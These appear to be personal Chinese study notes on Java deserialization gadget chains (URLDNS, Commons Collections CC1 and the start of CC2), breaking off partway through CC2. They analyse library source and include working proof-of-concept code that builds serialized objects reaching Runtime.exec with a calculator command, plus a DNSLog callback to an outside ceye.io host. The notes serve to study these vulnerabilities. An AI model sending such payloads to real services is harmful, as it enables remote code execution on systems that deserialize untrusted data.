个人Notes,不具备分享性
本文目的:
- URLDNS and CCs unserialize chains
- 补充反序列化知识
URLDNS
利用条件
- JDK 版本 :
- 无限制
- 依赖限制 :
- 无限制
Gadget Chain
* Gadget Chain:
* HashMap.readObject()
* HashMap.putVal()
* HashMap.hash()
* URL.hashCode()
* // java.net.URLStreamHandler
* getHostAddress(u); // 从而 触发 DNSLog
漏洞原理
分成两部分,第一部分是 HashMap 在反序列化时,会触发内部 key 的hash计算;第二部分,为URL类在hashCode时,会触发 getHostAdderss ,从而触发 DNSLOG。
根据 ysoserial 可知 生成有效负载的代码为
public Object getObject(final String url) throws Exception {
//Avoid DNS resolution during payload creation
//Since the field <code>java.net.URL.handler</code> is transient, it will not be part of the serialized payload.
URLStreamHandler handler = new SilentURLStreamHandler();
HashMap ht = new HashMap(); // HashMap that will contain the URL
URL u = new URL(null, url, handler); // URL to use as the Key
ht.put(u, url); //The value can be anything that is Serializable, URL as the key is what triggers the DNS lookup.
Reflections.setFieldValue(u, "hashCode", -1); // During the put above, the URL's hashCode is calculated and cached. This resets that so the next time hashCode is called a DNS lookup will be triggered.
return ht;
}
注意,是将 URL.class 作为 hashMap 的 Key
此外,ht.put 也会导致 hashCode的计算。
- hashMap
public V put(K key, V value) {
return putVal(hash(key), key, value, false, true);
}
hash(key) 等于 key.hashcode()
- readObject
测试脚本
package xyz.fe1w0.java.basic.serialize.urldns;
import xyz.fe1w0.java.basic.serialize.UserDefineSerialize;
import java.io.*;
import java.lang.reflect.Field;
import java.net.URL;
import java.text.SimpleDateFormat;
import java.util.Date;
import java.util.HashMap;
public class Exploit {
public static void main(String[] args) throws Exception {
Date nowTime = new Date();
HashMap hashmap = new HashMap();
URL url = new URL("http://fe1w0.vui3pv.ceye.io");
SimpleDateFormat simpleDateFormat = new SimpleDateFormat("yyyy-MM-dd hh:mm:ss");
// 骚,这样的话,就避免了第一次put时,hashCode 触发 urlDns 的行为。
Field filed = Class.forName("java.net.URL").getDeclaredField("hashCode");
filed.setAccessible(true); // 绕过Java语言权限控制检查的权限
filed.set(url, 111);
hashmap.put(url, 111);
System.out.println("当前时间为: " + simpleDateFormat.format(nowTime));
filed.set(url, -1);
try {
FileOutputStream fileOutputStream = new FileOutputStream("urlDns.ser");
ObjectOutputStream objectOutputStream = new ObjectOutputStream(fileOutputStream);
objectOutputStream.writeObject(hashmap);
objectOutputStream.close();
fileOutputStream.close();
FileInputStream fileInputStream = new FileInputStream("urlDns.ser");
ObjectInputStream objectInputStream = new ObjectInputStream(fileInputStream);
objectInputStream.readObject();
objectInputStream.close();
fileInputStream.close();
} catch (Exception e) {
e.printStackTrace();
}
}
}
有两种方式实现屏蔽:
- 自定义URL.class handle,其中将 openConnection 和 getHostAddress 置空。
- HashMap 中 put 会触发hash,但若 node 已有 hashCode (url.hashcode != -1),则直接 push 时不再进行具体的hash计算(即触发urlDns)
具体分析见 References 中的 seebug 文章
Common Collection
Common Collections 是 Java 集合框架的一个扩展,提供了许多有用的数据结构和算法。它包含了许多 Java 集合框架中没有的数据结构,如 BloomFilter、Multiset、BiMap 等等。同时,它还提供了一些 Java 集合框架中已有的数据结构的改进版本,如 ArrayList、HashMap 等等。Common Collections 还提供了一些有用的算法,如排列、组合、二分查找等等。使用 Common Collections 可以让 Java 开发者更加方便地处理常见的数据结构和算法问题。
CC1
利用条件
- JDK 版本 :
- Java < 8u71
- 依赖限制 :
- CommonsCollections <= 3.2.1
Gadget Chain
ObjectInputStream.readObject()
AnnotationInvocationHandler.readObject()
Map(Proxy).entrySet()
AnnotationInvocationHandler.invoke()
LazyMap.get()
ChainedTransformer.transform()
ConstantTransformer.transform()
InvokerTransformer.transform()
Method.invoke()
Class.getMethod()
InvokerTransformer.transform()
Method.invoke()
Runtime.getRuntime()
InvokerTransformer.transform()
Method.invoke()
Runtime.exec()
漏洞原理
分成以下部分来进行分析
- Transformer
- AnnotationInvocationHandler
- LazyMap
这里推荐 javasec 反序列化 章节,便于理解
Obsidian 双链 [[JavaSec.org@Apache Commons Collection 反序列化漏洞]]
Transformer
ConstantTransformer
源代码:
public class ConstantTransformer implements Transformer, Serializable {
private static final long serialVersionUID = 6374440726369055124L;
/** 每次都返回null */
public static final Transformer NULL_INSTANCE = new ConstantTransformer(null);
/** The closures to call in turn */
private final Object iConstant;
public static Transformer getInstance(Object constantToReturn) {
if (constantToReturn == null) {
return NULL_INSTANCE;
}
return new ConstantTransformer(constantToReturn);
}
public ConstantTransformer(Object constantToReturn) {
super();
iConstant = constantToReturn;
}
public Object transform(Object input) {
return iConstant;
}
public Object getConstant() {
return iConstant;
}
}
ConstantTransformer
,常量转换,转换的逻辑也非常的简单:传入对象不会经过任何改变直接返回。例如传入Runtime.class
进行转换返回的依旧是Runtime.class
。
package xyz.fe1w0.java.basic.serialize.cc.demo;
import org.apache.commons.collections.functors.ConstantTransformer;
public class DemoConstantTransformer {
public static void main(String[] args) throws Exception {
Object obj = Runtime.class;
ConstantTransformer transformer = new ConstantTransformer(obj);
System.out.println(transformer.transform(obj));
System.out.println(transformer.getConstant());
}
}
InvokerTransformer
InvokerTransformer
类 transform
方法实现了类方法动态调用,即采用反射机制动态调用类方法(反射方法名、参数值均可控)并返回该方法执行结果。
相关源代码
public class InvokerTransformer implements Transformer, Serializable {
private static final long serialVersionUID = -8653385846894047688L;
/** 要调用的方法名称 */
private final String iMethodName;
/** 反射参数类型数组 */
private final Class[] iParamTypes;
/** 反射参数值数组 */
private final Object[] iArgs;
// 省去多余的方法和变量
public InvokerTransformer(String methodName, Class[] paramTypes, Object[] args) {
super();
iMethodName = methodName;
iParamTypes = paramTypes;
iArgs = args;
}
// 反射 Method
public Object transform(Object input) {
if (input == null) {
return null;
}
try {
// 获取输入类的类对象
Class cls = input.getClass();
// 通过输入的方法名和方法参数,获取指定的反射方法对象
Method method = cls.getMethod(iMethodName, iParamTypes);
// 反射调用指定的方法并返回方法调用结果
return method.invoke(input, iArgs);
} catch (Exception ex) {
// 省去异常处理部分代码
}
}
}
利用反射Method的方式,来命令执行代码
package xyz.fe1w0.java.basic.serialize.cc.demo;
import org.apache.commons.collections.functors.InvokerTransformer;
public class DemoInvokerTransformer {
// 使用 `InvokerTransformer` 实现调用本地命令执行
public static void main(String[] args) {
String command = "";
if (System.getProperty("os.name").toLowerCase().indexOf("mac") >= 0) {
command = "open /System/Applications/Calculator.app";
} else {
command = "calc";
}
// 构建 transformer 对象
InvokerTransformer transformer = new InvokerTransformer(
"exec", new Class[]{String.class}, new Object[]{command}
);
// 传入 Runtime 实例,执行对象转换操作
transformer.transform(Runtime.getRuntime());
}
}
在真实场景中,无法直接构造出InvokerTransformer.transform
,需要利用 ChainedTransformer
来构建攻击链。
ChainedTransformer
org.apache.commons.collections.functors.ChainedTransformer
类封装了 Transformer
的链式调用,我们只需要传入一个 Transformer
数组,ChainedTransformer
就会依次调用每一个Transformer
的transform
方法。
相关源代码
package xyz.fe1w0.java.basic.serialize.cc.demo;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Method;
public class DemoChainedTransformer {
// ChainedTransformer 中的 public ChainedTransformer(Transformer[] transformers)
// 构造函数如下:
// public ChainedTransformer(Transformer[] transformers) {
// super();
// iTransformers = transformers;
// }
//
// public Object transform(Object object) {
// for (int i = 0; i < iTransformers.length; i++) {
// object = iTransformers[i].transform(object);
// }
//
// return object;
// }
private static String command = "open /System/Applications/Calculator.app";
public static Transformer getChainedTransformer() {
Transformer[] transforms = new Transformer[] {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{
String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}
),
new InvokerTransformer("invoke", new Class[]{
Object.class, Object[].class}, new Object[]{null, new Object[0]}
),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{command})
};
// 创建 ChainedTransformer 调用链对象
// 需要注意循环体内 `object = iTransformers[i].transform(object);`
// 可以用于构建调用链
Transformer transformedChain = new ChainedTransformer(transforms);
return transformedChain;
}
public static void main(String[] args) {
try {
// testOne();
// testTwo();
testThree();
} catch (Exception e) {
e.printStackTrace();
}
}
public static void testOne() {
InvokerTransformer[] invokerTransformers = new InvokerTransformer[]{new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{command})};
ChainedTransformer chainedTransformer = new ChainedTransformer(invokerTransformers);
chainedTransformer.transform(Runtime.getRuntime());
}
public static void testTwo() {
// 基本都采用反射的方式来调用。
// try {
// Runtime.getRuntime().exec(command);
// } catch (Exception e) {
// e.printStackTrace();
// }
Transformer[] transforms = new Transformer[] {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{
String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}
),
new InvokerTransformer("invoke", new Class[]{
Object.class, Object[].class}, new Object[]{null, new Object[0]}
),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{command})
};
// 创建 ChainedTransformer 调用链对象
// 需要注意循环体内 `object = iTransformers[i].transform(object);`
// 可以用于构建调用链
Transformer transformedChain = new ChainedTransformer(transforms);
// 执行对象转换操作
Object transform = transformedChain.transform(null);
}
public static void testThree() throws NoSuchMethodException, InvocationTargetException, IllegalAccessException {
// ChainedTransformer 调用链分析
Class<?> runtimeClass = Runtime.class;
// new InvokerTransformer("getMethod", new Class[]{
// String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}
// );
Class cls1 = runtimeClass.getClass();
Method getMethod = cls1.getMethod("getMethod", new Class[]{String.class, Class[].class});
Method getRuntime = (Method) getMethod.invoke(runtimeClass, new Object[]{"getRuntime", new Class[0]});
// new InvokerTransformer("invoke", new Class[]{
// Object.class, Object[].class}, new Object[]{null, new Object[0]}
// )
Class cls2 = getRuntime.getClass();
Method invokeMethod = cls2.getMethod("invoke", new Class[]{Object.class, Object[].class});
Runtime runtime = (Runtime) invokeMethod.invoke(getRuntime, new Object[]{null, new Class[0]});
// new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{cmd})
Class cls3 = runtime.getClass();
Method execMethod = cls3.getMethod("exec", new Class[]{String.class});
execMethod.invoke(runtime, command);
}
}
通过构建ChainedTransformer
调用链,最终间接的使用InvokerTransformer
完成了反射调用Runtime.getRuntime().exec(cmd)
的逻辑。
ChainedTransformer
调用链的第二个环节需要反射invoke
的原因,是第一个环节输出为Method getRuntime
,且反射RCE需要 Runtime
实例,如第三个环节 。
TransformedMap
通过上面小结,我们可以利用ChainedTransformer
来构造调用链,且 ChainedTransformer.transform
函数调用每个InvokerTransformer.transform
,依次构成
Method: Runtime.class.getMethod("getRuntime")
Instance: Runtime.getRuntime()
Output: runtime.exec(command)
以此产生两个问题:
- 找到某个变量可以存储
ChainedTransformer
- 且该变量可以通过某种方式调用
ChainedTransformer
中的transform
org.apache.commons.collections.map.TransformedMap
类间接的实现了java.util.Map
接口,同时支持对Map
的key
或者value
进行Transformer
转换,调用decorate
和decorateTransform
方法就可以创建一个TransformedMap
:
javasec.org
相关源代码
private static final long serialVersionUID = 7023152376788900464L;
public static Map decorate(Map map, Transformer keyTransformer, Transformer valueTransformer) {
return new TransformedMap(map, keyTransformer, valueTransformer);
}
public static Map decorateTransform(Map map, Transformer keyTransformer, Transformer valueTransformer) {
// 省去实现代码
}
// 调用 transform 的相关函数
protected Object transformKey(Object object) {
return this.keyTransformer == null ? object : this.keyTransformer.transform(object);
}
protected Object transformValue(Object object) {
return this.valueTransformer == null ? object : this.valueTransformer.transform(object);
}
protected Object checkSetValue(Object value) {
return this.valueTransformer.transform(value);
}
根据源代码来看,有三个函数涉及到tansformer
,TransformedMap
中调用这些函数的函数如下:
// transformKey:
protected Map transformMap(Map map) {};
public Object put(Object key, Object value) {};
// transformValue:
protected Map transformMap(Map map) {};
public Object put(Object key, Object value) {};
// checkSetValue:
public Object setValue(Object value){}; // 父类(AbstractInputCheckedMapDecorator.java)中的函数。
// 间接调用(transformKey & transformValue):
public void putAll(Map mapToCopy){};
只要调用TransformedMap
的setValue/put/putAll
中的任意方法都会调用ChainedTransformer
类的transform
方法,从而也就会触发命令执行。
AnnotationInvocationHandler (JDK 1.7)
sun.reflect.annotation.AnnotationInvocationHandler
implement java.lang.reflect.InvocationHandler
and java.io.Serializable
interface,and rewrite readObject
method。
在readObject
方法中还间接的调用了TransformedMap
中MapEntry
的setValue
方法,从而也就触发了transform
方法,完成了整个攻击链的调用。
AnnotationInvocationHandler 源代码(部分)
AnnotationInvocationHandler(Class<? extends Annotation> var1, Map<String, Object> var2) {
Class[] var3 = var1.getInterfaces();
if (var1.isAnnotation() && var3.length == 1 && var3[0] == Annotation.class) {
this.type = var1;
// 对于 TransfromedMap , this.memberValues 要等于 TransfromedMap
// 以此触发 readObject 中的 var5.setValue()
this.memberValues = var2;
} else {
throw new AnnotationFormatError("Attempt to create proxy for a non-annotation type.");
}
}
public Object invoke(Object var1, Method var2, Object[] var3) {
String var4 = var2.getName();
Class[] var5 = var2.getParameterTypes();
if (var4.equals("equals") && var5.length == 1 && var5[0] == Object.class) {
return this.equalsImpl(var3[0]);
} else if (var5.length != 0) {
throw new AssertionError("Too many parameters for an annotation method");
} else {
switch (var4) {
case "toString":
return this.toStringImpl();
case "hashCode":
return this.hashCodeImpl();
case "annotationType":
return this.type;
default:
// 触发 LazyMap 中的 get 函数
Object var6 = this.memberValues.get(var4);
if (var6 == null) {
throw new IncompleteAnnotationException(this.type, var4);
} else if (var6 instanceof ExceptionProxy) {
throw ((ExceptionProxy)var6).generateException();
} else {
if (var6.getClass().isArray() && Array.getLength(var6) != 0) {
var6 = this.cloneArray(var6);
}
return var6;
}
}
}
}
private void readObject(ObjectInputStream var1) throws IOException, ClassNotFoundException {
var1.defaultReadObject();
AnnotationType var2 = null;
// 要求构造函数中的第一个参数的类型 为 AnnotationType
try {
var2 = AnnotationType.getInstance(this.type);
} catch (IllegalArgumentException var9) {
throw new InvalidObjectException("Non-annotation type in annotation serial stream");
}
Map var3 = var2.memberTypes();
// 触发 handler 中的invoke,从而出发 LazyMap 中的get
Iterator var4 = this.memberValues.entrySet().iterator();
// 需要 TransformedMap Map 非空
// TransformedMap 中 原句
// * The Map put methods and Map.Entry v method are affected by this class.
while(var4.hasNext()) {
Map.Entry var5 = (Map.Entry)var4.next();
String var6 = (String)var5.getKey();
Class var7 = (Class)var3.get(var6);
if (var7 != null) {
Object var8 = var5.getValue();
if (!var7.isInstance(var8) && !(var8 instanceof ExceptionProxy)) {
var5.setValue((new AnnotationTypeMismatchExceptionProxy(var8.getClass() + "[" + var8 + "]")).setMember((Method)var2.members().get(var6)));
}
}
}
}
根据Java代码审计——Commons Collections AnnotationInvocationHandler readObject调用链王嘟嘟的博客-CSDN博客_annotationinvocationhandler 来看,得JDK 1.7 才行能漏洞复现,主要原因是 AnnotationInvocationHandler 在1.8之后进行了修改,readObject被改了。
到此 POC 为:
Transformer[] transformers = new Transformer[] {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[] {String.class,Class[].class }, new Object[] { "getRuntime",new Class[0] }),
new InvokerTransformer("invoke", new Class[] {Object.class,Object[].class }, new Object[] { null, new Object[0] }),
new InvokerTransformer("exec", new Class[] {String.class},new String[] {"Calc.exe"}),
};
Transformer transformerChain = new
ChainedTransformer(transformers);
Map innerMap = new HashMap();
innerMap.put("value", "zeo");
Map outerMap = TransformedMap.decorate(innerMap, null, transformerChain);
Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor construct = clazz.getDeclaredConstructor(Class.class, Map.class);
construct.setAccessible(true);
InvocationHandler handler = (InvocationHandler) construct.newInstance(Retention.class, outerMap);
对应的Gadget Chain为
ObjectInputStream.readObject()
AnnotationInvocationHandler.readObject()
TransformedMap.setValue()
ChainedTransformer.transform()
ConstantTransformer.transform()
InvokerTransformer.transform()
Method.invoke()
Class.getMethod()
InvokerTransformer.transform()
Method.invoke()
Runtime.getRuntime()
InvokerTransformer.transform()
Method.invoke()
Runtime.exec()
ConstantTransformer.transform()
但需要注意的是,该方法在高版本中也修复了(1.8.0_332)
修改为:
private void readObject(java.io.ObjectInputStream s)
throws java.io.IOException, ClassNotFoundException {
ObjectInputStream.GetField fields = s.readFields();
@SuppressWarnings("unchecked")
Class<? extends Annotation> t = (Class<? extends Annotation>)fields.get("type", null);
@SuppressWarnings("unchecked")
Map<String, Object> streamVals = (Map<String, Object>)fields.get("memberValues", null);
// Check to make sure that types have not evolved incompatibly
AnnotationType annotationType = null;
try {
annotationType = AnnotationType.getInstance(t);
} catch(IllegalArgumentException e) {
// Class is no longer an annotation type; time to punch out
throw new java.io.InvalidObjectException("Non-annotation type in annotation serial stream");
}
Map<String, Class<?>> memberTypes = annotationType.memberTypes();
// consistent with runtime Map type
Map<String, Object> mv = new LinkedHashMap<>();
// If there are annotation members without values, that
// situation is handled by the invoke method.
// 无 map.entry setValue 函数调用
for (Map.Entry<String, Object> memberValue : streamVals.entrySet()) {
String name = memberValue.getKey();
Object value = null;
Class<?> memberType = memberTypes.get(name);
if (memberType != null) { // i.e. member still exists
value = memberValue.getValue();
if (!(memberType.isInstance(value) ||
value instanceof ExceptionProxy)) {
value = new AnnotationTypeMismatchExceptionProxy(
objectToString(value))
.setMember(annotationType.members().get(name));
}
}
mv.put(name, value);
}
UnsafeAccessor.setType(this, t);
UnsafeAccessor.setMemberValues(this, mv);
}
LazyMap
LazyMap 源代码
//
// Source code recreated from a .class file by IntelliJ IDEA
// (powered by FernFlower decompiler)
//
package org.apache.commons.collections.map;
import java.io.IOException;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.io.Serializable;
import java.util.Map;
import org.apache.commons.collections.Factory;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.FactoryTransformer;
public class LazyMap extends AbstractMapDecorator implements Map, Serializable {
private static final long serialVersionUID = 7990956402564206740L;
protected final Transformer factory;
public static Map decorate(Map map, Factory factory) {
return new LazyMap(map, factory);
}
public static Map decorate(Map map, Transformer factory) {
return new LazyMap(map, factory);
}
protected LazyMap(Map map, Factory factory) {
super(map);
if (factory == null) {
throw new IllegalArgumentException("Factory must not be null");
} else {
this.factory = FactoryTransformer.getInstance(factory);
}
}
protected LazyMap(Map map, Transformer factory) {
super(map);
if (factory == null) {
throw new IllegalArgumentException("Factory must not be null");
} else {
this.factory = factory;
}
}
private void writeObject(ObjectOutputStream out) throws IOException {
out.defaultWriteObject();
out.writeObject(super.map);
}
private void readObject(ObjectInputStream in) throws IOException, ClassNotFoundException {
in.defaultReadObject();
super.map = (Map)in.readObject();
}
// 注意 get 函数将 调用 this.factory.transform(key)
public Object get(Object key) {
if (!super.map.containsKey(key)) {
Object value = this.factory.transform(key);
super.map.put(key, value);
return value;
} else {
return super.map.get(key);
}
}
}
Protected 修饰的方法 对同一包内的类和所有子类可见,导致无法直接用
LazyMap
构造函数
- triggerOne – 直接利用LazyMap触发漏洞
/*
直接利用LazyMap触发漏洞
*/public static void triggerOne() {
try {
String cmd = "calc";
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{
String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}
),
new InvokerTransformer("invoke", new Class[]{
Object.class, Object[].class}, new Object[]{null, new Object[0]}
),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{cmd})
};
Transformer transformerChain = new ChainedTransformer(transformers);
Map innerMap = new HashMap();
Map lazyMap = LazyMap.decorate(innerMap, transformerChain);
// 触发
lazyMap.get("key");
} catch (Exception e) {
e.printStackTrace();
}
}
测试脚本
- 整体的触发漏洞代码如下:
package xyz.fe1w0.java.basic.serialize.cc.one.lazymap;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;
import java.io.*;
import java.lang.annotation.Retention;
import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Proxy;
import java.util.HashMap;
import java.util.Map;
public class Demo {
public static void main(String[] args) {
triggerTwo();
}
/*
直接利用LazyMap触发漏洞
*/
public static void triggerOne() {
try {
String cmd = "calc";
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{
String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}
),
new InvokerTransformer("invoke", new Class[]{
Object.class, Object[].class}, new Object[]{null, new Object[0]}
),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{cmd})
};
Transformer transformerChain = new ChainedTransformer(transformers);
Map innerMap = new HashMap();
Map lazyMap = LazyMap.decorate(innerMap, transformerChain);
// 触发 get method
lazyMap.get("key");
} catch (Exception e) {
e.printStackTrace();
}
}
/*
利用 AnnotationInvocationHandler
*/
public static void triggerTwo() {
try {
String cmd = "calc";
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{
String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}
),
new InvokerTransformer("invoke", new Class[]{
Object.class, Object[].class}, new Object[]{null, new Object[0]}
),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{cmd})
};
Transformer transformerChain = new ChainedTransformer(transformers);
Map map = new HashMap();
Map lazyMap = LazyMap.decorate(map, transformerChain);
// 反射 AnnotationInvocationHandler 构造函数
// AnnotationInvocationHandler 为 package-private class
Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor constructor = clazz.getDeclaredConstructor(Class.class, Map.class);
constructor.setAccessible(true);
// 为什么要调用两次 AnnotationInvocationHandler
// Step 1: 利用 lazyMap 构造 Proxy Instance
// 使在Proxy invoke method时,可以自动触发 AnnotationInvocationHandler 中 inovke method 的 Object var6 = this.memberValues.get(var4);
// this.memberValues 为 lazyMap
InvocationHandler handler = (InvocationHandler) constructor.newInstance(Retention.class, lazyMap);
Map proxyMap = (Map) Proxy.newProxyInstance(ClassLoader.getSystemClassLoader(), new Class[]{Map.class}, handler);
// Step 2: 涉及到反序列化
// 在反序列化时,readObject 中会触发 Iterator var4 = this.memberValues.entrySet().iterator();
// 其中当this.memberValues为 ProxyNewInstance 时,this.memberValues.entrySet() 会触发 InvokeMethod.
// 即调用 AnnotationInvocationHandler 中的 invoke 函数,并接着调用lazyMap中的get,见step. 1
handler = (InvocationHandler) constructor.newInstance(Retention.class, proxyMap);
serialize(handler);
unserialize("ser.bin");
} catch (Exception e) {
e.printStackTrace();
}
}
public static void serialize(Object obj) throws IOException {
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
oos.writeObject(obj);
}
public static Object unserialize(String Filename) throws IOException, ClassNotFoundException {
ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
Object obj = ois.readObject();
return obj;
}
}
结合triggerTwo,再次回顾 cc1 中的 gadget chain
Gadget chain:
ObjectInputStream.readObject()
AnnotationInvocationHandler.readObject()
Map(Proxy).entrySet()
AnnotationInvocationHandler.invoke()
LazyMap.get()
ChainedTransformer.transform()
ConstantTransformer.transform()
InvokerTransformer.transform()
Method.invoke()
Class.getMethod()
InvokerTransformer.transform()
Method.invoke()
Runtime.getRuntime()
InvokerTransformer.transform()
Method.invoke()
Runtime.exec()
CC2
利用条件
- 依赖限制 :
- CommonsCollections == 4.0
利用条件比较苛刻:首先 CommonsCollections3 中无法使用,因为其 TransformingComparator 无法序列化。其次只有 CommonsCollections4-4.0 可以使用,因为 CommonsCollections4 其他版本去掉了 InvokerTransformer 的 Serializable 继承,导致无法序列化。
Gadget Chain
ObjectInputStream.readObject()
PriorityQueue.readObject()
...
TransformingComparator.compare()
InvokerTransformer.transform()
TemplatesImpl.newTransformer()
TemplatesTmpl.getTransletInstance()
TemplatesTmpl.defineTransletClasses()
TemplatesTmpl.newInstance()
ClassInitializer()
Runtime.exec()
漏洞原理
CC2 开始,就是我之前没有接触过的内容了。
先模仿,中间加入思考,后实现
javassist
原始手册:
Javassist Tutorial
Local Notes:
[[Javassist 动态编程]]
Javassist 中最为重要的是ClassPool、CTClass、CtMethod 以及 CtField 这 4 个类:
- ClassPool:一个基于HashMap实现的CtClass对象容器,其中键是类名称,值是表示该类的CtClass对象。默认的ClassPool使用与底层JVM相同的类路径,因此在某些情况下,可能需要向ClassPool添加类路径或类字节。
- CtClass:
CtClass
表示类,一个CtClass
(编译时类)对象可以处理一个class
文件,这些CtClass
对象可以从ClassPoold
的一些方法获得。 - CtMethods:表示类中的方法。
- CtFields:表示类中的字段。
- ClassClassPath : 该类作用是用于通过 getResourceAsStream() 在 java.lang.Class 中获取类文件的搜索路径
- CtConstructor :CtConstructor的实例表示一个构造函数。它可能代表一个静态构造函数(类初始化器)。
Demo 脚本
package xyz.fe1w0.java.basic.serialize.cc.two;
import javassist.*;
import java.io.IOException;
import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Method;
public class JavassistDemo {
public static void main(String[] args) throws Exception {
createClassPerson();
}
public static void createClassPerson() throws Exception {
//在默认系统搜索路径获取ClassPool对象。
ClassPool pool = ClassPool.getDefault();
// 创建 空类
CtClass cc = pool.makeClass("Person");
// Person Field: private String name
CtField nameField = new CtField(pool.get("java.lang.String"), "name", cc);
nameField.setModifiers(Modifier.PRIVATE);
// 初始值 为 fe1w0
// 注意为什么 这里的 constant 不会影响到 Person 中 modifier
// 这里的 constant 指的是,字符串 "xzaslxr" 为 常量
cc.addField(nameField, CtField.Initializer.constant("xzaslxr"));
// 设置 getter setter 方法
cc.addMethod(CtNewMethod.setter("setName", nameField));
cc.addMethod(CtNewMethod.getter("getName", nameField));
// 设置 无参数 构造函数
CtConstructor cons = new CtConstructor(new CtClass[]{}, cc);
cons.setBody("{name = \"fe1w0\";}");
cc.addConstructor(cons);
// 添加有参的构造函数
cons = new CtConstructor(new CtClass[]{pool.get("java.lang.String")}, cc);
// $0 = this
// $1,$2,$3... 代表方法参数
cons.setBody("{$0.name = $1;}");
cc.addConstructor(cons);
// 创建一个名为printName方法,无参数,无返回值,输出name值
CtMethod printNameMethod = new CtMethod(CtClass.voidType, "printName", new CtClass[]{}, cc);
printNameMethod.setModifiers(Modifier.PUBLIC);
printNameMethod.setBody("{System.out.println(\"Name: \" + $0.name);}");
//在方法体前后加入(注意必须有了方法体才能插入)
printNameMethod.insertBefore("System.out.println(\"before:\");");
printNameMethod.insertAfter("System.out.println(\"after:\");");
cc.addMethod(printNameMethod);
// 添加 static 代码段
cc.makeClassInitializer().insertBefore("{System.out.println(\"static\");}");
//重新设置一下类名
String randomClassName = "Person" + System.nanoTime();
cc.setName(randomClassName);
// 保存修改
cc.writeFile();
cc.detach();
// 构造该类
Class personClass = cc.toClass();
Constructor constructor = personClass.getDeclaredConstructor(String.class);
Object instance = constructor.newInstance("new person");
// 反射加载 printName
Method method = personClass.getDeclaredMethod("printName");
method.invoke(instance);
}
}
Person.class
//
// Source code recreated from a .class file by IntelliJ IDEA
// (powered by FernFlower decompiler)
//
public class Person76468689117000 {
private String name = "xzaslxr";
public void setName(String var1) {
this.name = var1;
}
public String getName() {
return this.name;
}
public Person76468689117000() {
this.name = "fe1w0";
}
public Person76468689117000(String var1) {
this.name = var1;
}
public void printName() {
System.out.println("before:");
System.out.println("Name: " + this.name);
Object var2 = null;
System.out.println("after:");
}
static {
System.out.println("static");
}
}
比较好奇,为什么会 before after 之后,会引入
Object var2 = null
PriorityQueue : heapify -> compare
ysoserial 中的 cc2 脚本为:
public Queue<Object> getObject(final String command) throws Exception {
final Object templates = Gadgets.createTemplatesImpl(command);
// mock method name until armed
final InvokerTransformer transformer = new InvokerTransformer("toString", new Class[0], new Object[0]);
// create queue with numbers and basic comparator
final PriorityQueue<Object> queue = new PriorityQueue<Object>(2,new TransformingComparator(transformer));
// stub data for replacement later
queue.add(1);
queue.add(1);
// switch method called by comparator
Reflections.setFieldValue(transformer, "iMethodName", "newTransformer");
// switch contents of queue
final Object[] queueArray = (Object[]) Reflections.getFieldValue(queue, "queue");
queueArray[0] = templates;
queueArray[1] = 1;
return queue;
}
按照 ysoserial 中的 gadget chain 分析 PriorityQueue.readObject()
ObjectInputStream.readObject()
PriorityQueue.readObject()
...
TransformingComparator.compare()
InvokerTransformer.transform()
Method.invoke()
Runtime.exec()
/**
* Reconstitutes the {@code PriorityQueue} instance from a stream
* (that is, deserializes it).
*
* @param s the stream
*/
private void readObject(java.io.ObjectInputStream s)
throws java.io.IOException, ClassNotFoundException {
// Read in size, and any hidden stuff
s.defaultReadObject();
// Read in (and discard) array length
s.readInt();
SharedSecrets.getJavaOISAccess().checkArray(s, Object[].class, size);
queue = new Object[size];
// Read in all elements.
for (int i = 0; i < size; i++)
queue[i] = s.readObject();
// Elements are guaranteed to be in "proper order", but the
// spec has never explained what that might be.
heapify();
}
/**
* Saves this queue to a stream (that is, serializes it).
*
* @serialData The length of the array backing the instance is
* emitted (int), followed by all of its elements
* (each an {@code Object}) in the proper order.
* @param s the stream
*/
private void writeObject(java.io.ObjectOutputStream s)
throws java.io.IOException {
// Write out element count, and any hidden stuff
s.defaultWriteObject();
// Write out array length, for compatibility with 1.5 version
s.writeInt(Math.max(2, size + 1));
// Write out all elements in the "proper order".
for (int i = 0; i < size; i++)
s.writeObject(queue[i]);
}
之后 readObjec
调用 heapify
,size >>> 1
右移 1位
/**
* Establishes the heap invariant (described above) in the entire tree,
* assuming nothing about the order of the elements prior to the call.
*/
@SuppressWarnings("unchecked")
private void heapify() {
